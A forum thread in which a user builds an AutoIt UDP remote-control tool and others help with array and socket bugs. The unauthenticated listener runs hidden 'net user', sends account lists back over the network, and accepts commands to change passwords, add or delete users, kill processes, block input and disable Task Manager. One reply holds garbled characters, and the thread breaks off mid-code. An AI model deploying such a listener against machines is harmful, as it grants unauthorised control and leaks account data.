Sign in to follow this  
Followers 0
Erik.

How to get process list and send

20 posts in this topic

Hi,

Is there a simple way to get the process list from my computer in one message box and send it whit udp send?

The same whit user accounts...

Could someone help me please


I little problem, hard to find and fix

Share this post


Link to post
Share on other sites



get the process list from my computer

ProcessList()

in one message box

MsgBox()

send it whit udp send?

UDPSend()

IE Dev ToolbarMSDN: InternetExplorer ObjectMSDN: HTML/DHTML Reference Guide[quote]It is surprising what a man can do when he has to, and how little most men will do when they don't have to. - Walter Linn[/quote]--------------------[font="Franklin Gothic Medium"]Post a reproducer with less than 100 lines of code.[/font]

Share this post


Link to post
Share on other sites

ProcessList()

MsgBox()

UDPSend()

Can't resist the temptation to compliment your brilliancy :whistle:

Cheers!


Roses are FF0000, violets are 0000FF... All my base are belong to you.

Share this post


Link to post
Share on other sites

Hi, Yes i know i can do whit it...

But how to get all processes in one message box?

In the help file i found this:

; List all processes

$list = ProcessList()

for $i = 1 to $list[0][0]

msgbox(0,"", $list[$i][0])

next

But then i get many messageboxes and i need only one...


I little problem, hard to find and fix

Share this post


Link to post
Share on other sites

Hi, Yes i know i can do whit it...

But how to get all processes in one message box?

In the help file i found this:

; List all processes

$list = ProcessList()

for $i = 1 to $list[0][0]

msgbox(0,"", $list[$i][0])

next

But then i get many messageboxes and i need only one...

_ArrayDisplay() is probably easiest.

Roses are FF0000, violets are 0000FF... All my base are belong to you.

Share this post


Link to post
Share on other sites

Ok,

Thanks for the fast post :whistle:

The next problem is you must don't see a display or something you need to send it whit udp send...

When i can get a message box whit a whole list i can send it whit udp send...


I little problem, hard to find and fix

Share this post


Link to post
Share on other sites

Ok,

Thanks for the fast post :lmao:

The next problem is you must don't see a display or something you need to send it whit udp send...

When i can get a message box whit a whole list i can send it whit udp send...

Time to start posting some code. What have tried? Did you read the help file? Have you tried the tutorials? Do you know what an array is and how to work with them?

First things first: ProcessList() returns a 2D array. Do you know how to convert that to a string?

I'm sorry, but it's just starting to sound like you are waiting for someone to write your script for you and not showing that you have done anything on it yourself. (It that's what you need, check out the Rent-A-Coder link in my sig.)

:whistle:


Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law

Share this post


Link to post
Share on other sites

#8 ·  Posted (edited)

Global $msg = "Process List:"
Global $pList = ProcessList()

For $i = 1 to $pList[0][0]
    $msg &= @CRLF & $pList[$i][0]
Next

MsgBox(64, "$pList", $msg)

Should work.

Edited by Outshynd

Share this post


Link to post
Share on other sites

I have used arays before but it is a time ago and when it works and i go on everything works but not this time :whistle:

Thanks for the script i was testing at my self but did not work very good.

Thats one peace of my script.

Now the second one how to get all user accounts on the pc and send them whit udp...

I have a script that works whit dos but when i use it into my script and want to send it whit udp send it doesn't work this is my script:

$rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD)

$StdOut = ""

While ProcessExists($rc)

If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc)

WEnd

Msgbox(0,"",$StdOut)

I get all users in the msg box...

When i send them whit udp send it doens't work anymore

How to fix it?


I little problem, hard to find and fix

Share this post


Link to post
Share on other sites

$rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD)

$StdOut = ""

While ProcessExists($rc)

If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc)

WEnd

Msgbox(0,"",$StdOut)

I get all users in the msg box...

When i send them whit udp send it doens't work anymore

How to fix it?

The code you are showing is not where the problem is, since it does what it is supposed to: list users to a string variable.

How do you send them with UDP? Post that portion of your script.

:whistle:


Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law

Share this post


Link to post
Share on other sites

A few lines of my script how to get the user and sen it whit udp send...

If $data = "getuser" Then

MsgBox(0, "UDP DATA","getuser", 1)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

$rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD)

$StdOut = ""

While ProcessExists($rc)

If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc)

WEnd

UDPSend($socket,"userfound|" & $StdOut)

Everything in my script works but not that :whistle:


I little problem, hard to find and fix

Share this post


Link to post
Share on other sites

A few lines of my script how to get the user and sen it whit udp send...

If $data = "getuser" Then

MsgBox(0, "UDP DATA","getuser", 1)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

$rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD)

$StdOut = ""

While ProcessExists($rc)

If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc)

WEnd

UDPSend($socket,"userfound|" & $StdOut)

Everything in my script works but not that :whistle:

Did you also use UDPOpen to create the connection? (Just asking.)

Some thoughts:

What goes wrong? Do you get any errors? Is the wrong data sent or is no data sent?

Also: Did you check whether the standard output was read correctly? What happens if you put MsgBox(0,"test",$StdOut) after the WEnd, to see if it read the correct stuff?


Roses are FF0000, violets are 0000FF... All my base are belong to you.

Share this post


Link to post
Share on other sites

Hi,

Yes i used udp open etc...

This is not the whole script.

Everything is working of my script but not that.

I also have this:

If $data = "shutdown" Then

MsgBox(0, "UDP DATA","shutdown", 1)

UDPSend($socket,"shuttingdown")

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

EndIf

This works fine but what i want not...

At the remote side i get a nice message back


I little problem, hard to find and fix

Share this post


Link to post
Share on other sites

If you can't post enough code to demo your problem, there's not much help for you.

:whistle:


Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law

Share this post


Link to post
Share on other sites

#15 ·  Posted (edited)

Ok,

I try to made this program for my self in network...

This is my remote side that i use:

#include <GUIConstants.au3>


$Form1 = GUICreate("Remote control tool", 637, 565, 191, 113)
$ip = GUICtrlCreateInput("172.27.183.213", 32, 16, 193, 21)
$connect = GUICtrlCreateButton("Connect", 240, 16, 105, 25, 0)
$info = GUICtrlCreateEdit("", 32, 56, 313, 449, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN,$WS_HSCROLL,$WS_VSCROLL))
GUICtrlSetBkColor(-1, 0x3B99FE)
$message = GUICtrlCreateInput("", 32, 520, 193, 21)
$Send = GUICtrlCreateButton("Send", 240, 520, 105, 25, 0)
$Button3 = GUICtrlCreateButton("Shutdown", 360, 16, 121, 25, 0)
$Button4 = GUICtrlCreateButton("Reboot", 360, 56, 121, 25, 0)
$Button5 = GUICtrlCreateButton("Get users", 360, 96, 121, 25, 0)
$Button6 = GUICtrlCreateButton("Change password", 360, 136, 121, 25, 0)
$Button7 = GUICtrlCreateButton("Get proces", 360, 176, 121, 25, 0)
$Button8 = GUICtrlCreateButton("Kill proces", 360, 216, 121, 25, 0)
$Button9 = GUICtrlCreateButton("AButton9", 360, 256, 121, 25, 0)
$Button10 = GUICtrlCreateButton("AButton10", 360, 296, 121, 25, 0)
$Button11 = GUICtrlCreateButton("AButton11", 360, 336, 121, 25, 0)
$Button12 = GUICtrlCreateButton("AButton12", 360, 376, 121, 25, 0)
$Button13 = GUICtrlCreateButton("AButton13", 360, 416, 121, 25, 0)
$Button14 = GUICtrlCreateButton("AButton14", 360, 456, 121, 25, 0)
$Button15 = GUICtrlCreateButton("AButton15", 360, 496, 121, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
UDPStartup()

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            UDPShutdown()
            Exit
        Case $connect
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"Connect")
            If $status = 0 then 
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
    
                If $data = "Connected" Then
                    GUICtrlSetData($info,GUICtrlRead($info) & @CRLF &  @HOUR & ":" & @MIN & ":" & @SEC & " Connected whit host:" & GUICtrlRead($ip)) 
                    ExitLoop
                EndIf
                sleep(100)
            wend
            
        Case $Button3
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"shutdown")
            If $status = 0 then 
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
    
                If $data = "shuttingdown" Then
                    GUICtrlSetData($info,GUICtrlRead($info) & @CRLF &  @HOUR & ":" & @MIN & ":" & @SEC & " The remote host is shutting down:" & GUICtrlRead($ip)) 
                    ExitLoop
                EndIf
                sleep(100)
            wend
            
        case $Button4
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"reboot")
            If $status = 0 then 
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
    
                If $data = "rebooting" Then
                    GUICtrlSetData($info,GUICtrlRead($info) & @CRLF &  @HOUR & ":" & @MIN & ":" & @SEC & " The remote host is rebooting now:" & GUICtrlRead($ip)) 
                    ExitLoop
                EndIf
                sleep(100)
            wend
            
        case $Button5
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"getuser")
            If $status = 0 then 
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data1 = UDPRecv($socket, 50)
                $string = StringSplit($data1, "|")
    
                If $string[1] = "userfound" Then
                    MsgBox(0, "data1",$string[2])
                    GUICtrlSetData($info,GUICtrlRead($info) & @CRLF &  @HOUR & ":" & @MIN & ":" & @SEC & @CRLF & $string[2] & GUICtrlRead($ip)) 
                    ExitLoop
                EndIf
                sleep(100)
            wend
    EndSwitch
WEnd

And this is my side on the server so i can do everything...

#include <GUIConstants.au3>
#include <Constants.au3>
#include <process.au3>

;;This is the UDP Server
;;Start this first

; Start The UDP Services
;==============================================
UDPStartup()

; Bind to a SOCKET
;==============================================
$socket = UDPBind("172.27.183.213", 28960)
If @error <> 0 Then MsgBox(0,"error",@error)

While 1
    $data = UDPRecv($socket, 50)
    
    If $data = "Connect" Then
        MsgBox(0, "UDP DATA","Connected", 1)
        UDPSend($socket,"Connected")
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "shutdown" Then
        MsgBox(0, "UDP DATA","shutdown", 1)
        UDPSend($socket,"shuttingdown")
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "reboot" Then
        MsgBox(0, "UDP DATA","reboot", 1)
        UDPSend($socket,"rebooting")
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "getuser" Then
        MsgBox(0, "UDP DATA","getuser", 1)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        $rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD)
            $StdOut = ""
            While ProcessExists($rc)
                If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc)
            WEnd
        UDPSend($socket,"userfound|" & $StdOut)
        
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    sleep(100)
WEnd

Func OnAutoItExit()
    UDPCloseSocket($socket)
    UDPShutdown()
EndFunc

Hope you can help me...

Edited by Erik.

I little problem, hard to find and fix

Share this post


Link to post
Share on other sites

I am trying to add the new script but that also doesn't work :whistle:

Here is what i added:

If $data = "processlist" Then
        MsgBox(0, "UDP DATA","processlist", 1)
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        For $i = 1 to $pList[0][0]
            $msg2 &= @CRLF & $pList[$i][0]
        Next

        UDPSend($socket,"processlist2|" & $msg2)
        
        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf

case $Button7
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"processlist")
            If $status = 0 then 
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data2 = UDPRecv($socket, 50)
                $string2 = StringSplit($data2, "|")
                
                If $string2[1] = "processlist2" Then
                    MsgBox(0, "data1",$string2[2])
                    GUICtrlSetData($info,GUICtrlRead($info) & @CRLF &  @HOUR & ":" & @MIN & ":" & @SEC & " Process list remote:" & $string2[2] & GUICtrlRead($ip)) 
                    ExitLoop
                EndIf
                sleep(100)
            wend

I little problem, hard to find and fix

Share this post


Link to post
Share on other sites

On the client side, you are not handling null data received before your expected message arrives. This worked for me:

While 1
                $data1 = UDPRecv($socket, 2048)
                If StringInStr($data1, "|") Then
                    $string = StringSplit($data1, "|")
                    If $string[0] = 2 And $string[1] = "userfound" Then
                        MsgBox(0, "data1", $string[2])
                        GUICtrlSetData($info, GUICtrlRead($info) & @CRLF & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF & $string[2] & GUICtrlRead($ip))
                        ExitLoop
                    Else
                        MsgBox(16, "Error", "Unexpected reply to 'getuser': " & $data1)
                    EndIf
                    Sleep(100)
                EndIf
            WEndoÝ÷ Ø¥²!jxu©e¶©§²ØZ¶×¬µú+=§]­ë,¶Þ¦·¬z{[ºÛaȬr&zØjëh×6      Case $Button5
            If GUICtrlRead($ip) = "" Then
                MsgBox(16, "No IP", "Please fill an IP addresss in...")
                ContinueLoop
            EndIf

:whistle:


Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law

Share this post


Link to post
Share on other sites

Hi,

Thanks allot.

i hope it will work here also and i first need to look at your code how you made it so i understand it:P

If this works i also can get the process list...

Thanks!!!


I little problem, hard to find and fix

Share this post


Link to post
Share on other sites

#20 ·  Posted (edited)

HI all,

I am finshed whit my program

I have tested on my own computer thats works perfect..

Now i wanted to use it on my network but it doens't work :whistle:

This is my code: on my pc:

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=G:\backup24mei2006\Alemappen\Autoit\Koda\Forms\remotecool2.kxf
$Form1 = GUICreate("Remote control tool", 637, 565, 191, 113)
$ip = GUICtrlCreateInput("172.27.183.214", 32, 16, 193, 21)
$connect = GUICtrlCreateButton("Connect", 240, 16, 105, 25, 0)
$info = GUICtrlCreateEdit("", 32, 56, 313, 449, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN,$WS_HSCROLL,$WS_VSCROLL))
GUICtrlSetData(-1, "")
GUICtrlSetBkColor(-1, 0x3B99FE)
$message = GUICtrlCreateInput("", 32, 520, 193, 21)
$Send = GUICtrlCreateButton("Send", 240, 520, 105, 25, 0)
$tabs = GUICtrlCreateTab(384, 16, 313, 537)
$TabSheet1 = GUICtrlCreateTabItem("General")
$Button3 = GUICtrlCreateButton("Shutdown", 399, 45, 121, 25, 0)
$Button4 = GUICtrlCreateButton("Reboot", 399, 78, 121, 25, 0)
$Button5 = GUICtrlCreateButton("Get users", 399, 112, 121, 25, 0)
$Button6 = GUICtrlCreateButton("Change password", 399, 147, 121, 25, 0)
$Button7 = GUICtrlCreateButton("Delete user", 399, 181, 121, 25, 0)
$Button8 = GUICtrlCreateButton("Add user", 399, 215, 121, 25, 0)
$Button9 = GUICtrlCreateButton("Get Process List", 399, 247, 121, 25, 0)
$Button10 = GUICtrlCreateButton("Kill proces", 399, 283, 121, 25, 0)
$Button11 = GUICtrlCreateButton("Block input", 399, 320, 121, 25, 0)
$Button12 = GUICtrlCreateButton("Unblock input", 399, 356, 121, 25, 0)
$Button13 = GUICtrlCreateButton("AButton13", 399, 391, 121, 25, 0)
$Button14 = GUICtrlCreateButton("AButton14", 399, 426, 121, 25, 0)
$Button15 = GUICtrlCreateButton("AButton15", 399, 461, 121, 25, 0)
$TabSheet2 = GUICtrlCreateTabItem("Advanced")
$Button1 = GUICtrlCreateButton("Enable Task Manager", 398, 48, 150, 25, 0)
$Button2 = GUICtrlCreateButton("Disable Task Manager", 398, 81, 150, 25, 0)
$Button16 = GUICtrlCreateButton("On hide all items destop", 398, 120, 150, 25, 0)
$Button17 = GUICtrlCreateButton("Off hide all items desktop", 398, 154, 150, 25, 0)
$Button18 = GUICtrlCreateButton("On hide clock", 398, 187, 150, 25, 0)
$Button19 = GUICtrlCreateButton("Off hide clock", 398, 224, 150, 25, 0)
$Button20 = GUICtrlCreateButton("On hide button log off", 398, 262, 150, 25, 0)
$Button21 = GUICtrlCreateButton("Off hide button log off", 398, 294, 150, 25, 0)
$Button22 = GUICtrlCreateButton("On hide tray icons", 398, 331, 150, 25, 0)
$Button23 = GUICtrlCreateButton("Off hide tray icons", 398, 370, 150, 25, 0)
$Button24 = GUICtrlCreateButton("Change message login", 398, 403, 150, 25, 0)
$Button25 = GUICtrlCreateButton("AButton3", 398, 441, 150, 25, 0)
$Button26 = GUICtrlCreateButton("AButton3", 398, 477, 150, 25, 0)
$Button27 = GUICtrlCreateButton("AButton3", 398, 510, 150, 25, 0)
GUICtrlCreateTabItem("")
GUISetState(@SW_SHOW)
UDPStartup()

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            UDPShutdown()
            Exit
        Case $connect
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"Connect")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "Connected" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " Connected whit host:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
            
        Case $Button3
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"shutdown")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "shuttingdown" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host is shutting down:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
            
        case $Button4
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"reboot")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "rebooting" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host is rebooting now:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
            
        case $Button5
            If GUICtrlRead($ip) = "" Then
                MsgBox(16, "No IP", "Please fill an IP addresss in...")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"getuser")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            While 1
                $data1 = UDPRecv($socket, 2048)
                If StringInStr($data1, "|") Then
                    $string = StringSplit($data1, "|")
                    If $string[0] = 2 And $string[1] = "userfound" Then
                        GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC &  " The remote host user accounts:" & @CRLF & $string[2] & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                        ExitLoop
                    Else
                        MsgBox(16, "Error", "Unexpected reply to 'getuser': " & $data1)
                    EndIf
                    Sleep(100)
                EndIf
            WEnd
            
        case $Button6
            If GUICtrlRead($ip) = "" Then
                MsgBox(16, "No IP", "Please fill an IP addresss in...")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"userpassword")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            Sleep(1000)
            $username = InputBox("Please full the user that you want to change the password", "User name", "")
            $password1 = InputBox("Please full the new password for the user", "Password", "")
            $password2 = InputBox("Please full the new password for the user", "Password", "")
            
            If $password1 = $password2 Then
                $status2 = UDPSend($socket,"userpassword2|" & $username &  "|" & $password1 )
                While 1
                    $data2 = UDPRecv($socket, 999)
                    If $data2 = "ok" Then
                        GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user password was succesfull changed to: " & $password1& "  " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                        ExitLoop
                    EndIf
                    If $data2 = "false" Then
                        GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user password was NOT changed to: " & $password1& "  " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                        ExitLoop
                    Else

                    EndIf
                WEnd
        ;;;;;;;
            Else
                MsgBox(48,"Error","The passwords do not match please edit them")
            Endif
        case $Button7
            If GUICtrlRead($ip) = "" Then
                MsgBox(16, "No IP", "Please fill an IP addresss in...")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"userdelete")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            Sleep(1000)
            $userdelete = InputBox("Please full the user that you want to delete", "User name", "")
            
            $status2 = UDPSend($socket,"userdelete2|" & $userdelete)
            While 1
                $data2 = UDPRecv($socket, 999)
                If $data2 = "ok" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user was succesfull deleted: " & $userdelete& "  " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                If $data2 = "false" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user user could NOT be deleted: " & $userdelete& "  " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                Else

                EndIf
            WEnd
    ;;;;;;;
            
        case $Button8
            If GUICtrlRead($ip) = "" Then
                MsgBox(16, "No IP", "Please fill an IP addresss in...")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"useradd")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            Sleep(1000)
            $useradd = InputBox("Please full the user that you want to add", "User name", "")
            
            $status2 = UDPSend($socket,"useradd2|" & $useradd)
            While 1
                $data2 = UDPRecv($socket, 999)
                If $data2 = "ok" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user was succesfull added: " & $useradd& "  " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                If $data2 = "false" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user user could NOT be added: " & $useradd& "  " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                Else

                EndIf
            WEnd
    ;;;;;;;
            
            
        case $Button9
            If GUICtrlRead($ip) = "" Then
                MsgBox(16, "No IP", "Please fill an IP addresss in...")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"tasklist")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            While 1
                $data1 = UDPRecv($socket, 999999)
                If StringInStr($data1, "|") Then
                    $string = StringSplit($data1, "|")
                    If $string[0] = 2 And $string[1] = "tasklist" Then
                        GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process list:" & @CRLF & $string[2] & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                        ExitLoop
                    Else
                        MsgBox(16, "Error", "Unexpected reply to 'Tasklist': " & $data1)
                    EndIf
                    Sleep(100)
                EndIf
            WEnd
            
        case $Button10
            If GUICtrlRead($ip) = "" Then
                MsgBox(16, "No IP", "Please fill an IP addresss in...")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"tasklistkill")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            Sleep(1000)
            $taskkill = InputBox("Please full the process that you want to kill", "Process you want to kill + .exe", "")
            $status2 = UDPSend($socket,"tasklistkill2|" & $taskkill)
            
            While 1
                $data2 = UDPRecv($socket, 999)
                If $data2 = "ok" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process killed succesfull: " & $taskkill & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                
                If $data2 = "false2" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process was not found: " & $taskkill & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                
                If $data2 = "false" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process was NOT killed: " & $taskkill & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                Else

                EndIf
                Sleep(100)
            WEnd
            
        Case $Button11
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"blockinput")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "blockinput" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host input was blocked:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
        
        Case $Button12
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"unblockinput")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "unblockinput" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host input was unblocked:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
;;;;;;;;;;;;;;;;;;;;;;;;advanced;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;         
        Case $Button1
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"enabletaskmanager")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "enabletaskmanager" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host task manager was enabled:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
        
        Case $Button2
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"disabletaskmanager")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "disabletaskmanager" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host taskmanager was disabled:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
        Case $Button16
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"onhideallitemsdesktop")
            If $status = 0 then
